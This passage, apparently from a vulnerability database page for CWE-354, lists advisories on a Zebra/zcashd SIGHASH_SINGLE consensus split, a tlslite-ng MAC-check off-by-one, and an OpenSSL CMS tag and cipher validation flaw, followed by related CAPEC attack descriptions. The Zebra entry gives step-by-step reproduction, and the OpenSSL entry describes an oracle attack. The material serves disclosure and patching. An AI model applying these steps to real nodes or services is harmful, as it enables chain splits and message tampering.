transparent script to fail.\n\n`Zebra` side:\n\n- V5 transparent inputs route into the same FFI-based transparent script verifier used for block validation: [`zebra/zebra-consensus/src/transaction.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-consensus/src/transaction.rs#L989-L1098).\n- `Zebra` converts the decoded hash type and asks its Rust sighash engine for a digest without adding the corresponding-output pre-check that `zcashd` enforces first: [`zebra/zebra-script/src/lib.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-script/src/lib.rs#L160-L175), [`zebra/zebra-chain/src/primitives/zcash_primitives.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-chain/src/primitives/zcash_primitives.rs#L307-L343).\n- `Zebra` forwards canonical `SIGHASH_SINGLE` into the Rust ZIP-244 implementation.\n- In that implementation, when `input.index() \u003e= bundle.vout.len()`, the code uses `transparent_outputs_hash::\u003cTxOut\u003e(\u0026[])` instead of erroring: [`zcash_primitives/src/transaction/sighash_v5.rs`](https://github.com/zcash/librustzcash/blob/c3425f9c3c7f6deb20720bb78b18f35fbbed8edd/zcash_primitives/src/transaction/sighash_v5.rs#L101-L107), [`zcash_primitives/src/transaction/sighash_v5.rs`](https://github.com/zcash/librustzcash/blob/c3425f9c3c7f6deb20720bb78b18f35fbbed8edd/zcash_primitives/src/transaction/sighash_v5.rs#L131-L139).\n\nWhy this is exploitable:\n\n- the malformed transaction only needs fewer transparent outputs than inputs;\n- the attacker signs the digest that `Zebra` computes for the missing-output case;\n- `Zebra` then sees a valid transparent signature, while `zcashd` never reaches the same digest because it fails first.\n\nOrdinary path viability:\n\n- `zcashd` ordinary mempool admission is not the practical trigger path, because the same ZIP-244 `SignatureHash()` checks fail there first: [`zcash/src/main.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/main.cpp#L1981-L1995), [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1221-L1259).\n- `Zebra` ordinary mempool admission is viable because `Zebra` uses the same transparent verifier for mempool and block validation and does not have a separate \"one output per input\" standardness rule here: [`zebra/zebra-consensus/src/transaction.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-consensus/src/transaction.rs#L414-L519), [`zebra/zebrad/src/components/mempool/storage.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebrad/src/components/mempool/storage.rs#L255-L376).\n- `Zebra` is a block-template producer, so the realistic stock path is `Zebra` mempool -\u003e `Zebra` `getblocktemplate` -\u003e external miner: [`zebra/zebra-rpc/src/methods/types/get_block_template/zip317.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-rpc/src/methods/types/get_block_template/zip317.rs#L72-L105).\n\n### PoC\nValidated commits:\n\n- `zcashd`: `2c63e9aa08cb170b0feb374161bea94720c3e1f5`\n- `Zebra`: `a905fa19e3a91c7b4ead331e2709e6dec5db12cb`\n\nManual reproduction steps:\n\n1. Build an otherwise-valid V5 transaction with at least two transparent inputs and only one transparent output.\n2. Sign input `0` normally.\n3. Sign input `1` with canonical `SIGHASH_SINGLE` or `SIGHASH_SINGLE|ANYONECANPAY`.\n4. Use the digest returned by `Zebra`\u0027s ZIP-244 path, where the missing output contributes `transparent_outputs_hash([])`.\n5. Submit the transaction to `Zebra` and to `zcashd`.\n6. Observe:\n   - `Zebra` accepts it into the mempool;\n   - `Zebra` selects it into `getblocktemplate`;\n   - `Zebra` can mine and accept a block containing it;\n   - `zcashd` rejects it in the ordinary mempool path.\n\n### Impact\nThis is a direct V5+ transparent consensus split.\n\nWho can trigger it:\n\n- an ordinary transaction author can craft the malformed V5 transparent transaction;\n- the accept-side stock path is `Zebra`\u0027s mempool and block-template path;\n- an external miner still has to include the transaction in a block for the split to materialize.\n\nWho is impacted:\n\n- `Zebra` can accept and template a transaction / block that `zcashd` rejects;\n- this makes the issue both a consensus-divergence problem and a practical `Zebra` block-template safety problem.",
  "id": "GHSA-cwfq-rfcr-8hmp",
  "modified": "2026-05-07T21:02:30Z",
  "published": "2026-05-07T21:02:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-cwfq-rfcr-8hmp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/releases/tag/v4.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Zebra\u0027s Transparent SIGHASH_SINGLE Handling Diverges from zcashd for Corresponding Outputs"
}

GHSA-CWH5-3CW7-4286

Vulnerability from github – Published: 2018-07-12 20:30 – Updated: 2024-11-13 22:51
VLAI
Summary
tlslite-ng off-by-one error on mac checking
Details

tlslite-ng version 0.7.3 and earlier, since commit d7b288316bca7bcdd082e6ccff5491e241305233 contains a CWE-354: Improper Validation of Integrity Check Value vulnerability in TLS implementation, tlslite/utils/constanttime.py: ct_check_cbc_mac_and_pad(); line end_pos = data_len - 1 - mac.digest_size that can result in an attacker manipulating the TLS ciphertext which will not be detected by receiving tlslite-ng. This attack appears to be exploitable via man in the middle on a network connection. This vulnerability appears to have been fixed after commit 3674815d1b0f7484454995e2737a352e0a6a93d8.

Severity
5.9 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tlslite-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:33:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "tlslite-ng version 0.7.3 and earlier, since commit [d7b288316bca7bcdd082e6ccff5491e241305233](https://github.com/tlsfuzzer/tlslite-ng/commit/d7b288316bca7bcdd082e6ccff5491e241305233) contains a CWE-354: Improper Validation of Integrity Check Value vulnerability in TLS implementation, `tlslite/utils/constanttime.py`: `ct_check_cbc_mac_and_pad()`; line `end_pos = data_len - 1 - mac.digest_size` that can result in an attacker manipulating the TLS ciphertext which will not be detected by receiving tlslite-ng. This attack appears to be exploitable via man in the middle on a network connection. This vulnerability appears to have been fixed after commit [3674815d1b0f7484454995e2737a352e0a6a93d8](https://github.com/tlsfuzzer/tlslite-ng/pull/234/commits/3674815d1b0f7484454995e2737a352e0a6a93d8).",
  "id": "GHSA-cwh5-3cw7-4286",
  "modified": "2024-11-13T22:51:51Z",
  "published": "2018-07-12T20:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000159"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tlsfuzzer/tlslite-ng/pull/234/commits/3674815d1b0f7484454995e2737a352e0a6a93d8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomato42/tlslite-ng/pull/234"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tlsfuzzer/tlslite-ng/commit/d7b288316bca7bcdd082e6ccff5491e241305233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tlslite-ng/PYSEC-2018-31.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tomato42/tlslite-ng"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tlslite-ng off-by-one error on mac checking"
}

GHSA-F9V2-4W9P-2CWC

Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-10 18:31
VLAI
Details

Issue Summary: Cryptographic Message Services (CMS) processing fails to perform sufficient input validation on the cipher and tag length fields of AuthEnvelopedData containers, leading to various potential compromises.

Impact Summary: Attackers making use of these vulnerabilities may achieve key-equivalent functionality for a given CMS recipient and/or bypass integrity validation for a given message.

In one use case, an attacker may send a CMS message containing AuthEnvelopedData with the cipher specified as a non-AEAD cipher. OpenSSL erroneously allows this selection, and attempts to decrypt and validate the message.

An on-path attacker who captures one legitimate AES-GCM AuthEnvelopedData addressed to the victim can re-emit it with the recipientInfos set left byte-for-byte intact, so the victim's private key still unwraps the genuine CEK (the content-encryption key), but with the inner OID rewritten to AES-256-OFB (Output Feedback Mode, an unauthenticated keystream mode) and with an attacker-chosen IV and ciphertext. The victim initializes AES-256-OFB under the real CEK, never consults the MAC field, and CMS_decrypt() returns success.

If the application under attack responds to the attacker with any indicator showing success or failure of the decryption effort, it is possible for the attacker to use this as an oracle to obtain key equivalent functionality for the CEK used for the chosen recipient of the message.

In another use case, an attacker can reduce the tag length of the chosen AEAD cipher for a given AuthEnvelopedData container to be a single byte long, allowing an attacker to brute force CMS decryption, producing an integrity bypass for applications that trust CMS_decrypt() to reject modified content.

The FIPS modules are not affected by this issue.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-34182"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T17:17:04Z",
    "severity": "CRITICAL"
  },
  "details": "Issue Summary: Cryptographic Message Services (CMS) processing fails to perform\nsufficient input validation on the cipher and tag length fields of\nAuthEnvelopedData containers, leading to various potential compromises.\n\nImpact Summary: Attackers making use of these vulnerabilities may achieve\nkey-equivalent functionality for a given CMS recipient and/or bypass integrity\nvalidation for a given message.\n\nIn one use case, an attacker may send a CMS message containing\nAuthEnvelopedData with the cipher specified as a non-AEAD cipher.  OpenSSL\nerroneously allows this selection, and attempts to decrypt and validate the\nmessage.\n\nAn on-path attacker who captures one legitimate AES-GCM AuthEnvelopedData\naddressed to the victim can re-emit it with the recipientInfos set left\nbyte-for-byte intact, so the victim\u0027s private key still unwraps the genuine CEK\n(the content-encryption key), but with the inner OID rewritten to AES-256-OFB\n(Output Feedback Mode, an unauthenticated keystream mode) and with an\nattacker-chosen IV and ciphertext. The victim initializes AES-256-OFB under the\nreal CEK, never consults the MAC field, and CMS_decrypt() returns success.\n\nIf the application under attack responds to the attacker with any indicator\nshowing success or failure of the decryption effort, it is possible for the\nattacker to use this as an oracle to obtain key equivalent functionality for the\nCEK used for the chosen recipient of the message.\n\nIn another use case, an attacker can reduce the tag length of the chosen AEAD\ncipher for a given AuthEnvelopedData container to be a single byte long,\nallowing an attacker to brute force CMS decryption, producing an integrity\nbypass for applications that trust CMS_decrypt() to reject modified content.\n\nThe FIPS modules are not affected by this issue.",
  "id": "GHSA-f9v2-4w9p-2cwc",
  "modified": "2026-06-10T18:31:40Z",
  "published": "2026-06-09T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34182"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/03c1f4d45fb963aee7d5833390c507cd290182bc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/439ed7d2c0962ce964482727264668bf277c333f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/7947e6a81eb8776802f159fb6762cb7fcf7e34c7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/9fd97f8cfdc2c0be214998de3b2b55c8edf6c7ac"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/d2ca86bcd43e4f17d899f347101766b6107676e0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/03c1f4d45fb963aee7d5833390c507cd290182bc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/439ed7d2c0962ce964482727264668bf277c333f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/7947e6a81eb8776802f159fb6762cb7fcf7e34c7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/9fd97f8cfdc2c0be214998de3b2b55c8edf6c7ac"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/d2ca86bcd43e4f17d899f347101766b6107676e0"
    },
    {
      "type": "WEB",
      "url": "https://openssl-library.org/news/secadv/20260609.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

CAPEC-145: Checksum Spoofing

An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

← Back to the CWE list